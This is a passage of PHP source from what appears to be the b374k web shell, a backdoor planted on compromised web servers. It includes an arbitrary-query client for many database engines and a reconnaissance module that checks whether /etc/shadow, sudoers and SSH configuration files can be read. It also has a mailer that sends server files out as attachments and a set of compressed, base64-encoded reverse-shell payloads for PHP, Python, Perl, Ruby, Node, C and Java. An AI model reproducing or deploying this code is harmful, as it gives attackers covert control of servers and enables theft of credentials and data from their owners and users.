".$type." ";
if($inputtype=='input'){
$res .= " ";
}
else{
$res .= "";
}
return $res;
}
}
if(isset($p['decodeStr'])){
$decodeStr = $p['decodeStr'];
output(decode($decodeStr));
}
$GLOBALS['module']['database']['id'] = "database";
$GLOBALS['module']['database']['title'] = "Database";
$GLOBALS['module']['database']['js_ontabselected'] = "";
$GLOBALS['module']['database']['content'] = "
";
if(!function_exists('sql_connect')){
function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_connect')){
$coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
return @sqlsrv_connect($sqlhost,$coninfo);
}
elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
}
elseif($sqltype == 'pgsql'){
$hosts = explode(":", $sqlhost);
if(count($hosts)==2){
$host_str = "host=".$hosts[0]." port=".$hosts[1];
}
else $host_str = "host=".$sqlhost;
if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
}
elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
elseif($sqltype == 'sqlite3'){
if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
else return false;
}
elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
elseif($sqltype == 'pdo'){
if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
else return false;
}
return false;
}
}
if(!function_exists('sql_query')){
function sql_query($sqltype, $query, $con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->query($query);
elseif(function_exists('mysql_query')) return mysql_query($query);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
elseif(function_exists('mssql_query')) return mssql_query($query);
}
elseif($sqltype == 'pgsql') return pg_query($query);
elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
elseif($sqltype == 'sqlite3') return $con->query($query);
elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
elseif($sqltype == 'odbc') return odbc_exec($con, $query);
elseif($sqltype == 'pdo') return $con->query($query);
}
}
if(!function_exists('sql_num_rows')){
function sql_num_rows($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
}
elseif($sqltype == 'pgsql') return pg_num_rows($result);
elseif($sqltype == 'oracle') return oci_num_rows($result);
elseif($sqltype == 'sqlite3'){
$metadata = $result->fetchArray();
if(is_array($metadata)) return $metadata['count'];
}
elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
elseif($sqltype == 'odbc') return odbc_num_rows($result);
elseif($sqltype == 'pdo') return $result->rowCount();
}
}
if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
